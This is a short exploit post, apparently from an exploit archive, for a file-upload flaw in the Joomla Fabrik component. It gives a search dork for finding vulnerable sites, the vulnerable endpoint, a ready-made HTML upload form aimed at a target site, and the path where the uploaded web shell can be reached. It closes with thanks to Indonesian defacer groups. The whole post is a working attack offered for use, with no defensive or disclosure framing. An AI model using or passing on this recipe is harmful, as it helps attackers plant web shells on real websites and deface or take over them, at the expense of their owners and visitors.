[+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+]
[+]
[+] $ Exploit Title : Joomla Com_fabrik Upload Shell
[+]
[+] $ Dork : inurl:index.php?option=com_fabrik
[+]
[+] $ Author: KING Zer0
[+]
[+] $ Tested : win - Linux
[+]
[+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+]
[+]
-----------------------------------------------------------|
|[+] Exploit :
|[+]
|[+] /index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload
|[+]
|[+] Vuln = {"filepath":null,"uri":null}
|[+]
|[+] Csrf = <form method="POST" action="http://target.com/index.php?
|[+] option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload"
|[+] enctype="multipart/form-data">
|[+] <input type="file" name="file" /><button>Upload</button>
|[+] </form>
|[+]
|[+]
|[+]
|[+]
|[+]
|[+] $ Your Access Shell: /patch/file.php
|[+]
-----------------------------------------------------------|
# Thanks to : Mr.Aljabar - RootNatsuhaa - 66H057in53CUR17Y - Xai Syndicate - PhantomGhost - All Defacer Indonesia
